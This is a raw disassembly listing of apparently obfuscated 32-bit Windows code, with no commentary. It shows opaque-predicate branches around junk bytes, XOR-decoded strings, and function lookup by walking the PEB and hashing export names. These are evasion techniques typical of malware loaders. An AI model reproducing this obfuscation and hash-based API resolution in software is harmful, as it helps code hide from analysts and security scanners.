imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x198], eax
xor eax, eax
je 0x42921e
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3720]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4292d8
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*4]
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4296d5
xor eax, eax
je 0x4293e8
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3718]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4294a2
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4294a2
mov dword [ebp - 0x1a0], 1
jmp 0x429545
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429545
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x1a0], eax
xor eax, eax
je 0x42954a
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*4]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429a26
mov eax, dword [ebp - 8]
sub eax, 4
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x429726
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4297e5
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4297e5
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429888
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x429d4d
xor eax, eax
je 0x429a60
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3678]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429b1a
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x429b1a
mov dword [ebp - 0x1b0], 1
jmp 0x429bbd
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429bbd
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x1b0], eax
xor eax, eax
je 0x429bc2
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3678]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429c7c
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xc
jb 0x428d10
lea eax, [ebp - 0x97]
mov byte [ebp - 0x98], 1
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x429e6e
mov eax, dword [ebp - 0x18]
mov byte [ebp - 1], 0
mov dword [eax], 0x41baf0
xor eax, eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
movups xmmword [ebp - 0x460], xmm0
nop dword [eax]
xor byte [ebp + eax - 0x460], 7
inc eax
cmp eax, 0x10
jl 0x429da0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x429e3b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x429e3b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0x3f34d4e4
mov dword [ebp - 0x18], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x429e31
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x429e02
mov eax, dword [ebp - 0x14]
cmp edi, 0x101a29ec
je 0x429e42
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x429de2
mov eax, dword [eax]
jmp 0x429dba
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x460]
add eax, edx
push ecx
call eax
jmp 0x430ec8
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*8]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42a11a
xor eax, eax
je 0x429eab
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a36a8]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429f56
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x429fb8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429fb8
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx edi, al
imul edi, esi
shl edi, 2
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
xor eax, eax
je 0x42a000
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a36b0]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42a0af
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x430ec8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
jmp 0x430ec8
cmp dword [0x8b00e4], 0
je 0x42b25e
movq xmm0, qword [0x7a34c4]
mov eax, dword [0x7a34cc]
mov byte [ebp - 1], 0
movq qword [ebp - 0x7c], xmm0
mov dword [ebp - 0x74], eax
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0xb
jae 0x42b156
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
shl esi, 2
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42a472
xor eax, eax
je 0x42a18e
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3678]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42a248
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42a248
mov dword [ebp - 0x1b8], 1
jmp 0x42a2eb
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42a2eb
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x1b8], eax
xor eax, eax
je 0x42a2f0
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3678]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42a3aa
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42ae27
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*8]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42a7c8
xor eax, eax
je 0x42a4f4
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42a5a6
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42a5a6
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42a649
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*4]
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42aae3
xor eax, eax
je 0x42a807
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
addsd xmm1, xmm1
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42a8bd
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*4]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42ae27
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x42ab32
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42b145
xor eax, eax
je 0x42ae61
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3680]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42af1b
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42af1b
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42afbe
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xb
jb 0x42a151
lea eax, [ebp - 0x7b]
mov byte [ebp - 0x7c], 1
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x42b25e
mov eax, dword [ebp - 0x18]
mov byte [ebp - 1], 0
mov dword [eax], 0x41bb00
xor eax, eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
movups xmmword [ebp - 0x470], xmm0
nop
xor byte [ebp + eax - 0x470], 7
inc eax
cmp eax, 0x10
jl 0x42b190
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x42b22b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x42b22b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0xe452f843
mov dword [ebp - 0x18], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x42b221
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x42b1f2
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x42b1d2
mov eax, dword [eax]
jmp 0x42b1aa
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx*8]
sub esi, ecx
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42b50f
xor eax, eax
je 0x42b2a1
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3698]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42b34c
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x42b3ae
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42b3ae
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx edi, al
imul edi, esi
add edi, edi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
xor eax, eax
je 0x42b3f5
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
